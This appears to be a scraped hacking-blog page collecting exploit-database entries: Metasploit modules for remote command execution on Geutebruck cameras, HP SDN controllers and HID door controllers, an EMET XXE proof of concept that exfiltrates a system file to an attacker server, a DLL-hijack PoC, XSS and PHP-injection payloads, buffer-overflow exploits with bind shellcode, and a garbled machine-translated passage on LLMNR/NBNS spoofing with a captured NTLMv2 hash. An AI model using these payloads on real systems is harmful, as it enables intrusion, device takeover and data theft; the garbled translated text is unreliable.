Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863572300

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Geutebruck simple_loglistjs.cgi Remote Command Execution',
      'Description'    => %q{
        This module exploits a an arbitrary command execution vulnerability. The
        vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an
        anonymous user to execute arbitrary commands with root privileges.
        Firmware <= 1.12.0.19 are concerned.
        Tested on 5.02024 G-Cam/EFD-2250 running 1.12.0.4 firmware.
      },
      'Author'         =>
        [
          'Nicolas Mattiocco', #CVE-2018-7520 (RCE)
          'Davy Douhine' #CVE-2018-7520 (RCE) and metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2018-7520' ],
          [ 'URL', 'http://geutebruck.com' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-079-01' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat bash',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 20 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to webapp', '/uapi-cgi/viewer/simple_loglistjs.cgi']),
      ], self.class)
  end

  def exploit
    header = "(){ :;}; "
    encpayload = "#{header}#{payload.encoded}"
    uri = target_uri.path + "?" + Rex::Text.uri_encode(encpayload, "hex-all")
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    res = send_request_raw(
      {
        'method' => 'GET',
        'uri'    => uri
    })
  end

end
            
[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-EMET-XML-INJECTION.txt
[+] ISR: Apparition Security     



***Greetz: indoushka|Eduardo|Dirty0tis|cor3sm4sh3r***     
 


Vendor:
================
www.microsoft.com


Product:
===========
Enhanced Mitigation Experience Toolkit (EMET)

Enhanced Mitigation Experience Toolkit is a freeware security toolkit for Microsoft Windows, developed by Microsoft.
It provides a unified interface to enable and fine-tune Windows security features. 



Vulnerability Type:
===================
XML External Entity Injection



CVE Reference:
==============
N/A


Security Issue:
================
EMETs XML parser does not account for external entity declarations in ".config" files. This allows outbound network connections and users local files
to be exfiltrated to remote attacker controlled server. Conditions are a user must be tricked into importing a specially crafted XML file.



Exploit/POC:
=============
1) python -m SimpleHTTPServer


2) "payload.dtd" 

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACK-SERVER:8000?%file;'>">
%all;


3) "config.xml" 

import into EMET interface.


<?xml version="1.0"?>
<!DOCTYPE emet_poc [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACK-SERVER:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Result seen on ATTACK-SERVER:
=============================

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
PC - - [19/May/2018 22:53:02] "GET /payload.dtd HTTP/1.1" 200 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa
ve=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 301 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa




Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: June 5, 2018
Vendor reply : "We determined your finding is valid but does not meet our bar for servicing" : June 30, 2018
June 30, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/POLARISOFFICE-2017-v8-REMOTE-CODE-EXECUTION.txt
[+] ISR: Apparition Security          
 

Vendor:
=============
www.polarisoffice.com


Product:
===========
PolarisOffice 2017 v8

Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration.

Used by more than 70 million subscribers in 240 countries.


Vulnerability Type:
===================
Remote Code Execution


CVE Reference:
==============
CVE-2018-12589


Security Issue:
================
Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file
in the current working directory, due to a search order flaw vulnerability.

1) create a 32bit DLL named "puiframeworkproresenu.dll" 
2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL 
3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system.

This can be observed as well with both the DLL and a document opened from a remote share.



Exploit/POC:
=============

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 puiframeworkproresenu.c
gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o
*/

void trojanizer(){
	 MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
	switch(fdwReason){
		case DLL_PROCESS_ATTACH:{
			 trojanizer();
			break;
		}
		case DLL_PROCESS_DETACH:{
			 trojanizer();
			break;
		}
		case DLL_THREAD_ATTACH:{
			 trojanizer();
			break;
		}
		case DLL_THREAD_DETACH:{
			 trojanizer();
			break;
		}
	}
	
	return TRUE;
}




Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: June 14, 2018
Vendor confirms vulnerability : June 19, 2018
Mitre assigned CVE : June 20, 2018
Vendor replied fix will be in July
however, update was released : June 23, 2018
Notified vendor of impending advisory : June 23, 2018
Vendor : "glad to hear that your problem has been solved"
June 26, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# Exploit Title: Airties AIR5444TT - Cross-Site Scripting
# Date: 2018-07-06 
# Exploit Author: Raif Berkay Dincel
# Vendor Homepage: airties.com 
# Software [http://www.airties.com.tr/support/dcenter/]
# Version: [1.0.0.18]
# CVE-ID: CVE-2018-8738
# Tested on: MacOS High Sierra / Linux Mint / Windows 10
 
# Vulnerable Parameter Type: GET 
# Vulnerable Parameter: 192.168.2.1/top.html?page=main&productboardtype= 
 
# Proof of Concepts:
 
192.168.2.1/top.html?page=main&productboardtype=<script>alert("Raif Berkay Dincel");</script>
 
http://192.168.2.1/top.html?page=main&productboardtype=%3Cscript%3Ealert(%22Raif%20Berkay%20Dincel%22);%3C/script%3E
            
# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3
# Date: 06/29/2018
# Exploit Author: om3rcitak - https://omercitak.com
# Vendor Homepage: https://dolibarr.org
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: =<7.0.3
# Tested on: Unix, Windows

## Technical Details
URL: http://{domain}/{dolibarr_path}/install/step1.php
Parameter Name: db_name
Parameter Type: POST
Attack Pattern: x\';system($_GET[cmd]);//

## Steps to reproduce the behavior
- Go to fresh install page.
- Click "Next Step" button for create example config file (conf/conf.php)
- Send this request:
```
POST {dolibarr_path}/install/step1.php HTTP/1.1
Host: {domain}

testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
```
- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`

## Timeline
- 06/29/2018 18:30 - Found vulnerability.
- 06/29/2018 18:44 - Report vendor.
- 06/29/2018 20:38 - Vulnerability fixed by vendor.

GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032
            
# Exploit Title: SIPp 3.6 - Local Buffer Overflow (PoC)
# Date: 2018-06-30
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: http://sipp.sourceforge.net/ 
# Software Link: https://github.com/SIPp/sipp/releases 
# Version: 3.6-dev and earlier
# Tested on: 3.6-dev

$ ./sipp -3pcc `python -c ‘print “A” * 300'`

#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
#1 0x668d06 in main /home/user/sipp/src/sipp.cpp:1531:17
#2 0x7ff5ec21282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)

$ ./sipp -i `python -c ‘print “A” * 300'`

#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
#1 0x66a303 in main /home/user/sipp/src/sipp.cpp:1477:17
#2 0x7f281302682f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)

$ ./sipp -log_file `python -c ‘print “A” * 300'`

#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425
#1 0x66912f in main /home/user/sipp/src/sipp.cpp:1706:17
#2 0x7f6ca663782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)
            
######################
# Author Information #
######################
Author : Ahmed Elhady Mohamed
twitter : @Ahmed__ELhady
Date : 01/07/2018
########################
# Software Information #
########################
Affected Software : SeoChecker Umbraco CMS Plug-in
Version: version 1.9.2 
Software website  : https://soetemansoftware.nl/seo-checker

###############
# Description #
###############
SeoChecker Umbraco CMS Plug-in version 1.9.2 is vulnerable to stored cross-site scripting vulnerability in two parameters 
which are SEO title and SEO description HTML parameters fields. A low privilege authenticated user who can edit the SEO tab
parameter value for any Ubmraco CMS content like an article will be able to inject a malicious code to execute arbitrary HTML
and JS code in a user's browser session in the context of an affected site. so when a high privilege user tries to access/edit 
the article content. the JS code will be executed. The vulnerabilities are tested on 1.9.2 version and Other versions may also be affected.


#################
# Exlpoit Steps #
#################
1- Access the application with a low privilege authenticated user
2- Go to the SEO tab for any article
3-Enter the following payload in SEO title and SEO description HTML parameters fields parameters 
"><script>alert(123)</script>
4- Access the article content page to edit and change contents value.  
5- The JS code will be executed.
            
# Exploit Title: Stack-based buffer overflow in Activision Infinity Ward Call of Duty Modern Warfare 2
# Date: 14-12-2017
# Exploit Author: Maurice Heumann
# Contact: https://twitter.com/momo5502?lang=en
# Website: https://momo5502.com/
# CVE: CVE-2018-10718
# Category: webapps

1. Description

By sending a crafted network packet, it's possible construct a stack
overflow in Call of Duty: Modern Warfare (amongst other versions).

2. Proof of Concept

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44987.zip
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  # server: grizzly/2.2.16
  HttpFingerprint = {pattern: [/^grizzly/]}

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP VAN SDN Controller Root Command Injection',
      'Description'    => %q{
        This module exploits a hardcoded service token or default credentials
        in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root.

        A root command injection was discovered in the uninstall action's name
        parameter, obviating the need to use sudo for privilege escalation.

        If the service token option TOKEN is blank, USERNAME and PASSWORD will
        be used for authentication. An additional login request will be sent.
      },
      'Author'         => [
        'Matt Bergin', # Vulnerability discovery and Python exploit
        'wvu'          # Metasploit module and additional ~research~
      ],
      'References'     => [
        ['EDB', '44951'],
        ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt']
      ],
      'DisclosureDate' => 'Jun 25 2018',
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix', 'linux'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Privileged'     => true,
      'Targets'        => [
        ['Unix In-Memory',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Type'        => :unix_memory,
         'Payload'     => {'BadChars' => ' '}
        ],
        ['Linux Dropper',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true}
    ))

    register_options([
      OptString.new('TOKEN',    [false, 'Service token', 'AuroraSdnToken37']),
      OptString.new('USERNAME', [false, 'Service username', 'sdn']),
      OptString.new('PASSWORD', [false, 'Service password', 'skyline'])
    ])

    register_advanced_options([
      OptString.new('PayloadName', [false, 'Payload name (random if unset)']),
      OptBool.new('ForceExploit',  [false, 'Override check result', false])
    ])
  end

  def check
    checkcode = CheckCode::Safe

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => '/',
      'headers' => {'X-Auth-Token' => auth_token},
      'ctype'   => 'application/json',
      'data'    => {'action' => 'uninstall'}.to_json
    )

    if res.nil?
      checkcode = CheckCode::Unknown
    elsif res && res.code == 400 && res.body.include?('Missing field: name')
      checkcode = CheckCode::Appears
    elsif res && res.code == 401 && res.body =~ /Missing|Invalid token/
      checkcode = CheckCode::Safe
    end

    checkcode
  end

  def exploit
    if [CheckCode::Safe, CheckCode::Unknown].include?(check)
      if datastore['ForceExploit']
        print_warning('ForceExploit set! Exploiting anyway!')
      else
        fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
      end
    end

    if target['Type'] == :unix_memory
      print_status('Executing command payload')
      execute_command(payload.encoded)
      return
    end

    print_status('Uploading payload as fake .deb')
    payload_path = upload_payload
    renamed_path = payload_path.gsub(/\.deb$/, '')

    register_file_for_cleanup(renamed_path)

    print_status('Renaming payload and executing it')
    execute_command(
      "mv #{payload_path} #{renamed_path} && " \
      "chmod +x #{renamed_path}"
    )
    execute_command(renamed_path)
  end

  def upload_payload
    payload_name = datastore['PayloadName'] ?
                   "#{datastore['PayloadName']}.deb" :
                   "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb"
    payload_path = "/var/lib/sdn/uploads/#{payload_name}"

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => '/upload',
      'headers' => {'Filename' => payload_name, 'X-Auth-Token' => auth_token},
      'ctype'   => 'application/octet-stream',
      'data'    => generate_payload_exe
    )

    unless res && res.code == 200 && res.body.include?('{ }')
      fail_with(Failure::UnexpectedReply, "Failed to upload #{payload_path}")
    end

    print_good("Uploaded #{payload_path}")

    payload_path
  end

  def execute_command(cmd)
    # Argument injection in /opt/sdn/admin/uninstall-dpkg
    injection = "--pre-invoke=#{cmd}"

    # Ensure we don't undergo word splitting
    injection = injection.gsub(/\s+/, '${IFS}')

    print_status("Injecting dpkg -r #{injection}")

    send_request_cgi({
      'method'  => 'POST',
      'uri'     => '/',
      'headers' => {'X-Auth-Token' => auth_token},
      'ctype'   => 'application/json',
      'data'    => {'action' => 'uninstall', 'name' => injection}.to_json
    }, 1)
  end

  def auth_token
    return @auth_token if @auth_token

    token    = datastore['TOKEN']
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    if token && !token.empty?
      print_status("Authenticating with service token #{token}")
      @auth_token = token
      return @auth_token
    end

    print_status("Authenticating with creds #{username}:#{password}")

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/sdn/ui/app/login',
      'rport'     => 8443,
      'vars_post' => {'username' => username, 'password' => password}
    )

    unless res && res.get_cookies.include?('X-Auth-Token')
      print_error('Invalid username and/or password specified')
      return
    end

    @auth_token = res.get_cookies_parsed['X-Auth-Token'].first
    print_good("Retrieved auth token #{@auth_token}")

    @auth_token
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'HID discoveryd command_blink_on Unauthenticated RCE',
      'Description' => %q{
        This module exploits an unauthenticated remote command execution
        vulnerability in the discoveryd service exposed by HID VertX and Edge
        door controllers.

        This module was tested successfully on a HID Edge model EH400
        with firmware version 2.3.1.603 (Build 04/23/2012).
      },
      'Author'      =>
        [
          'Ricky "HeadlessZeke" Lawshae', # Discovery
          'coldfusion39', # VertXploit
          'Brendan Coles' # Metasploit
        ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_ARMLE,
      'Privileged'  => true,
      'References'  =>
        [
          ['ZDI', '16-223'],
          ['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
          ['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
          ['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
          ['URL', 'https://github.com/lixmk/Concierge'],
          ['URL', 'https://github.com/coldfusion39/VertXploit']
        ],
      'DisclosureDate'  => 'Mar 28 2016',
      'DefaultOptions'  =>
        {
          'WfsDelay'          => 30,
          'PAYLOAD'           => 'linux/armle/meterpreter/reverse_tcp',
          'CMDSTAGER::FLAVOR' => 'echo'
        },
      'Targets'         => [['Automatic', {}]],
      'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
      'DefaultTarget'   => 0))
    register_options [ Opt::RPORT(4070) ]
  end

  def check
    connect_udp
    udp_sock.put 'discover;013;'
    res = udp_sock.get(5)
    disconnect_udp

    if res.to_s.eql? ''
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    hid_res = parse_discovered_response res
    if hid_res[:mac].eql? ''
      vprint_error 'Malformed response'
      return CheckCode::Safe
    end

    @mac = hid_res[:mac]

    vprint_good "#{rhost}:#{rport} - HID discoveryd service detected"
    vprint_line hid_res.to_s
    report_service(
      host: rhost,
      mac: hid_res[:mac],
      port: rport,
      proto: 'udp',
      name: 'hid-discoveryd',
      info: hid_res
    )

    if hid_res[:version].to_s.eql? ''
      vprint_error "#{rhost}:#{rport} - Could not determine device version"
      return CheckCode::Detected
    end

    # Vulnerable version mappings from VertXploit
    vuln = false
    version = Gem::Version.new(hid_res[:version].to_s)
    case hid_res[:model]
    when 'E400'     # EDGEPlus
      vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'EH400'    # EDGE EVO
      vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'EHS400'   # EDGE EVO Solo
      vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'ES400'    # EDGEPlus Solo
      vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'V2-V1000' # VertX EVO
      vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'V2-V2000' # VertX EVO
      vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'V1000'    # VertX Legacy
      vuln = true if version <= Gem::Version.new('2.2.7.568')
    when 'V2000'    # VertX Legacy
      vuln = true if version <= Gem::Version.new('2.2.7.568')
    else
      vprint_error "#{rhost}:#{rport} - Device model was not recognized"
      return CheckCode::Detected
    end

    vuln ? CheckCode::Appears : CheckCode::Safe
  end

  def send_command(cmd)
    connect_udp

    # double escaping for echo -ne stager
    encoded_cmd = cmd.gsub("\\", "\\\\\\")

    # packet length (max 44)
    len = '044'

    # <num> of times to blink LED, if the device has a LED; else
    # <num> second to beep (very loudly) if the device does not have a LED
    num = -1 # no beep/blink ;)

    # construct packet
    req = ''
    req << 'command_blink_on;'
    req << "#{len};"
    req << "#{@mac};"
    req << "#{num}`#{encoded_cmd}`;"

    # send packet
    udp_sock.put req
    res = udp_sock.get(5)
    disconnect_udp

    unless res.to_s.start_with? 'ack;'
      fail_with Failure::UnexpectedReply, 'Malformed response'
    end
  end

  def execute_command(cmd, opts)
    # the protocol uses ';' as a separator,
    # so we issue each system command separately.
    # we're using the echo command stager which hex encodes the payload,
    # so there's no risk of replacing any ';' characters in the payload data.
    cmd.split(';').each do |c|
      send_command c
    end
  end

  def exploit
    print_status "#{rhost}:#{rport} - Connecting to target"

    check_code = check
    unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
      fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
    end

    # linemax is closer to 40,
    # however we need to account for additinal double escaping
    execute_cmdstager linemax: 30, :temp => '/tmp'
  end

  def parse_discovered_response(res)
    info = {}

    return unless res.start_with? 'discovered'

    hid_res = res.split(';')
    return unless hid_res.size == 9
    return unless hid_res[0] == 'discovered'
    return unless hid_res[1].to_i == res.length

    {
      :mac          => hid_res[2],
      :name         => hid_res[3],
      :ip           => hid_res[4],
      # ?           => hid_res[5], # '1'
      :model        => hid_res[6],
      :version      => hid_res[7],
      :version_date => hid_res[8]
    }
  end
end
            
# Exploit Title: Boxoft wav-wma Converter - Local Buffer Overflow (SEH)  
# Date: 2018-07-08
# Software Link: http://www.boxoft.com/wav-to-wma/
# Software Version:1.0
# Exploit Author: Achilles
# Target: Windows 7 x64 
# CVE:
# Description: A  malicious .wav file cause this vulnerability. 
# Category: Local Exploit

buffer = "A" * 4132
buffer+= "\x90\x90\xeb\x06" #jmp short 6
buffer+= "\x34\x14\x40\x00" # pop pop retn
buffer+= "\x90" * 20
buffer+= ("\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33" #Bind shellcode port 4444
"\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"
"\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"
"\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"
"\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"
"\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"
"\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"
"\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"
"\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"
"\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"
"\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"
"\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"
"\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"
"\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"
"\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"
"\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"
"\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"
"\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"
"\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"
"\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"
"\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"
"\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"
"\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"
"\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"
"\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"
"\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"
"\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"
"\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"
"\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"
"\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"
"\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"
"\xc8\x28\x1b\xd5\x3f\x51")

try:
	f=open("Evil.wav","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
            

名前解像度プロトコルで欠陥を使用したイントラネット浸透は、中間(MITM)攻撃を実行するための一般的な手法です。 2つの特に脆弱な名前解像度プロトコル、Link-Native Multicast Name Resolution(LLMNR)とNetBios Name Service(NBNS)があります。攻撃者は、これらの2つのプロトコルを活用して、DNSなどのより高い優先度の解像度方法では回答できないリクエストに応答できます。 LLMNRおよびNBNSは、Active Directory(AD)環境でデフォルトで有効になります。これにより、このタイプのスプーフィング攻撃は非常に効果的な方法になり、ドメインへの初期アクセスを取得するだけでなく、脆弱性の後期搾取中のドメイン許可を強化します。この攻撃技術をイントラネット浸透シナリオで使用するために、PowerShellベースのLLMNR/NBNSスプーフィングツールであるInveighツールを開発しました。

psc: \ users \ kevin \ desktop \ inveighinvoke-inveigh-consoleoutputy

[*] inveigh1.4devstartedat2018-07-05t22:29336035

[+] ElevatedPrivileGeMode=enabled

[+] PrimaryPaddress=192.168.125.100

[+] llmnr/nbns/mdns/dnsspooferipaddress=192.168.125.100

[+] llmnrspoofer=enabled

[+] nbnsspoofer=enabled

[+] smbcapture=enabled

[+] httpcapture=enabled

[+] httpscapture=disabled

[+] http/httpsauthentication=ntlm

[+] wpadauthentication=ntlm

[+] WPADDEFAULTRESPONSE=ENABLED

[+] realtimeConsoleOutput=enabled

警告: [!] runstop-inveightestopoptop

[*] PressanyKeyTostostoprealTimeConsoleOutput

[+] [2018-07-05T222:29:53] llmnrrequestforbadrequestreceivedfrom192.168.125.102 [応答]

[+] [2018-07-05T22:29:53] smbntlmv2challenge/responsecaptured from192.168.125.102(Inveigh-WKS2):

Testuser1:3360INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:0101 00000000000000000071ADB439D114D401D5B48AB8C3EC8E010000000000002000E0049004E005600450049004700480 00100180049004E00560045004900470048002D0057004B00530031000400160069006E0076006500690067006 8002E006E00650074000300049006E00760065006900670068002D0057004B00531002E0069006E00760 065006900670068002E006E00650074000500160069006E00760065006900670068002E006E006500740007000 80071ADB438D114D4010600040002000000080030003000000000000000000000002000004FC481EC79C5F6B B2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A001000000000000000000000000000000000000 9001E0063006900660073002F00620061006400720065007100750065007300740000000000000000000000000000

Inveighの開発プロセス全体で、ドメイン環境で多くの実験を実施し、さまざまなレベルの許可の観点から、LLMNR/NBNSスプーフィング攻撃プロセスを詳細に研究しました。 Inveighの更新の多くは、実際に他の特権ベースの使用機能を実装しようとしています。

最近、Inveigh以外のいくつかの研究作業は、私の心に困難な問題を引き起こしています。既にドメインへの非主要なアクセスがある場合、LLMNR/NBNSスプーフィングを行うのに最良の方法ですか、それとも名前解像度ベースのMITM攻撃を実行することもできますか?この質問に対する答えを得るために、私は疑わしいADロール構成を常に研究しています。これにより、質問に対する答えを見つけるためのインスピレーションを与えてくれました。

名前解決順序

